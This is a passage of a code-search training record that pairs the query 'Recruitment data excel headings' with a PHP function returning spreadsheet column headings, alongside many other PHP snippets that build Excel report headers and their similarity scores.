{\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "function rallies_table_row_header($hdrs)\r\n{\r\n global $MYKEYWORDS;\r\n\r\n\t$OK = ($_SESSION['ACCESSLEVEL'] >= $GLOBALS['ACCESSLEVEL_READONLY']);\r\n\r\n\t$res = '';\r\n\t$hdrcols = explode(';',$hdrs);\r\n\tforeach ($hdrcols as $col)\r\n\t\t$res .= \"<th>\".$col.\"</th>\";\r\n\r\n return $res;\r\n}" ]
[ "0.7432069", "0.71568346", "0.7123064", "0.7062079", "0.7059541", "0.6970416", "0.6887191", "0.68659824", "0.6826605", "0.6758486", "0.674641", "0.67447937", "0.661698", "0.6524816", "0.64108217", "0.63882214", "0.6353121", "0.6305659", "0.6231868", "0.62266517", "0.62197703", "0.6201532", "0.62007433", "0.6182717", "0.6180235", "0.6178359", "0.6173967", "0.6168367", "0.61613476", "0.61540115", "0.61253315", "0.61118007", "0.6089118", "0.60498184", "0.60240024", "0.60135144", "0.59702045", "0.5964321", "0.59583336", "0.5942882", "0.5942664", "0.59331506", "0.5932957", "0.59117705", "0.59087306", "0.5907607", "0.59010947", "0.5884278", "0.5861878", "0.5850039", "0.5822055", "0.58186173", "0.57966614", "0.57953626", "0.5784897", "0.5779302", "0.5774795", "0.5736294", "0.5729475", "0.5725191", "0.5720866", "0.57186806", "0.56918865", "0.568801", "0.56875044", "0.56816524", "0.5681245", "0.5680447", "0.56707734", "0.56614447", "0.56550956", "0.5649323", "0.5643569", "0.5642345", "0.56387407", "0.56295466", "0.56274456", "0.56182563", "0.5618086", "0.5612334", "0.55992544", "0.5597838", "0.55931777", "0.5589507", "0.5588926", "0.5584845", "0.55842316", "0.5567083", "0.55632627", "0.55604047", "0.55563325", "0.55521214", "0.5550908", "0.5549005", "0.5547683", "0.5542054", "0.5524112", "0.55224115", "0.5503159", "0.5501327" ]
0.79347867
0
Recruitment data excel headings
public static function excelMigrationHeadings() { return [ 'Occupation/Job Title', 'Region', 'Industry', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web 